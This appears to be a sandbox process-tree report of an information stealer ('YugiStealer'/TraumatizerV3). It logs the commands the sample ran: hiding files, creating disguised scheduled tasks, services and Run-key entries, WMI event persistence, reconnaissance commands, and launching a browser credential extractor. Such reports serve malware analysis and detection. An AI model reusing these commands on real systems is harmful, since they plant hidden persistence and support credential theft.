C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\Downloads\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_16728.bat"3⤵
-
C:\Windows\system32\cmd.execmd.exe4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_16752.bat"3⤵
-
C:\Windows\system32\cmd.execmd.exe4⤵
-
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /delete /tn "Windows System Health Monitor" /f >nul 2>&13⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "Windows System Health Monitor" /xml "C:\Users\Admin\AppData\Local\Temp\SystemHealthMonitor.xml" /f3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Local\Temp\SystemHealthMonitor.xml" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Local\Temp\SystemHealthMonitor.xml"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Local\Temp\SystemHealthMonitor.xml" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Local\Temp\SystemHealthMonitor.xml"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Local\Temp\SystemHealthMonitor.xml" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Local\Temp\SystemHealthMonitor.xml"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\AppData\Local\Temp\SystemHealthMonitor.xml'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "tasklist /v /fo csv"2⤵
-
C:\Windows\system32\tasklist.exetasklist /v /fo csv3⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "sc query state= all"2⤵
-
C:\Windows\system32\sc.exesc query state= all3⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c systeminfo2⤵
-
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "arp -a"2⤵
- Network Service Discovery
-
C:\Windows\system32\ARP.EXEarp -a3⤵
- Network Service Discovery
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "ipconfig /all"2⤵
-
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "wmic product get name,version"2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic product get name,version3⤵
-
-
-
C:\Users\Public\Documents\csrss.exe"C:\Users\Public\Documents\csrss.exe"1⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\csrss.exe\" /sc onstart /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\csrss.exe\" /sc onstart /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\csrss.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\csrss.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Users\Public\Documents\csrss.exe\"; $Shortcut.Save()"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Users\Public\Documents\csrss.exe\" }"2⤵
-
-
C:\Users\Public\Documents\svchost.exe"C:\Users\Public\Documents\svchost.exe"1⤵
- Drops startup file
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\svchost.exe\" /sc onstart /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\svchost.exe\" /sc onstart /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\svchost.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\svchost.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Users\Public\Documents\svchost.exe\"; $Shortcut.Save()"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Users\Public\Documents\svchost.exe\" }"2⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Users\Public\Documents\svchost.exe\" start= auto"2⤵
-
C:\Windows\system32\sc.exesc create \"YugiStealerSvc\" binPath= \"C:\Users\Public\Documents\svchost.exe\" start= auto3⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\svchost.exe\" /f"2⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\svchost.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\svchost.exe\" /f"2⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\svchost.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\Temp\Yg2DX7nO\TraumatizerV3.exe"C:\Windows\Temp\Yg2DX7nO\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Windows\Temp\Yg2DX7nO\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\Yg2DX7nO\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Windows\Temp\Yg2DX7nO\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\Yg2DX7nO\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Windows\Temp\Yg2DX7nO\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\Yg2DX7nO\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Windows\Temp\Yg2DX7nO\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Windows\Temp\Yg2DX7nO\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_16727.bat"3⤵
-
C:\Windows\system32\cmd.execmd.exe4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_1683.bat"3⤵
-
C:\Windows\system32\cmd.execmd.exe4⤵
-
-
-
-
C:\Users\Admin\Downloads\TraumatizerV3.exe"C:\Users\Admin\Downloads\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Users\Admin\Downloads\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\Downloads\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_16728.bat"3⤵
-
C:\Windows\system32\cmd.execmd.exe4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_16752.bat"3⤵
-
C:\Windows\system32\cmd.execmd.exe4⤵
-
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /delete /tn "Windows System Health Monitor" /f >nul 2>&13⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "Windows System Health Monitor" /xml "C:\Users\Admin\AppData\Local\Temp\SystemHealthMonitor.xml" /f3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Local\Temp\SystemHealthMonitor.xml" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Local\Temp\SystemHealthMonitor.xml"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Local\Temp\SystemHealthMonitor.xml" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Local\Temp\SystemHealthMonitor.xml"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Local\Temp\SystemHealthMonitor.xml" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Local\Temp\SystemHealthMonitor.xml"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\AppData\Local\Temp\SystemHealthMonitor.xml'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "tasklist /v /fo csv"2⤵
-
C:\Windows\system32\tasklist.exetasklist /v /fo csv3⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "sc query state= all"2⤵
-
C:\Windows\system32\sc.exesc query state= all3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c systeminfo2⤵
-
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "arp -a"2⤵
- Network Service Discovery
-
C:\Windows\system32\ARP.EXEarp -a3⤵
- Network Service Discovery
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "ipconfig /all"2⤵
-
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "wmic product get name,version"2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic product get name,version3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\.tmpzMi1Gt\extracted\chromelevator_x64.exe"C:\Users\Admin\AppData\Local\Temp\.tmpzMi1Gt\extracted\chromelevator_x64.exe" -v -f all2⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"3⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"3⤵
-
-
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
